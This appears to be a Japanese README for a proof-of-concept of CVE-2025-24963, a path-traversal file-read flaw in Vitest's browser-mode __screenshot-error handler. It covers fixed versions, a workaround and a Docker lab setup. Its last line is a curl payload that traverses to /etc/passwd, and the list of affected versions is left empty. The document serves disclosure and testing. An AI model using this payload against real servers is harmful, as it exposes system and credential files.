
CVE-2025-24963の概念実証エクスプロイト。Vitestブラウザモードにおける__screenshot-errorハンドラを介したローカルファイル読み取りの脆弱性で、公開サーバー上で任意のファイルを開示することが可能。
CVE-2025-24963 は、Vite をベースにした Vitest テストフレームワークのコンポーネントである @vitest/browser パッケージに影響する中程度の深刻度の脆弱性(CVSS 3.1 スコア: 5.9)です。この脆弱性は、ブラウザモードの HTTP サーバーの __screenshot-error ハンドラにおける不適切な入力検証に起因します。構成オプション browser.api.host: true を使用してサーバーがネットワークに公開されている場合、攻撃者は特別に細工されたリクエストを送信してサーバーのファイルシステム上の任意のファイルにアクセスし、機密情報の不正な開示につながる可能性があります。
この脆弱性は、以下のバージョンの @vitest/browser に影響します:
この問題はバージョン 2.1.9 および 3.0.4 で修正されました。脆弱性を軽減するために、これらのバージョン以降にアップグレードすることを強く推奨します。
すぐにアップグレードできない場合の一時的な回避策として、構成で browser.api.host: true を設定しないことで、ブラウザモードサーバーをネットワークに公開しないようにしてください。これにより、脆弱なハンドラへの外部アクセスを防止できます。
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
注意: Vitest が使用するポートは動的です(例: 63315)。ログを監視し、それに応じて -p フラグを調整することをお勧めします。
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"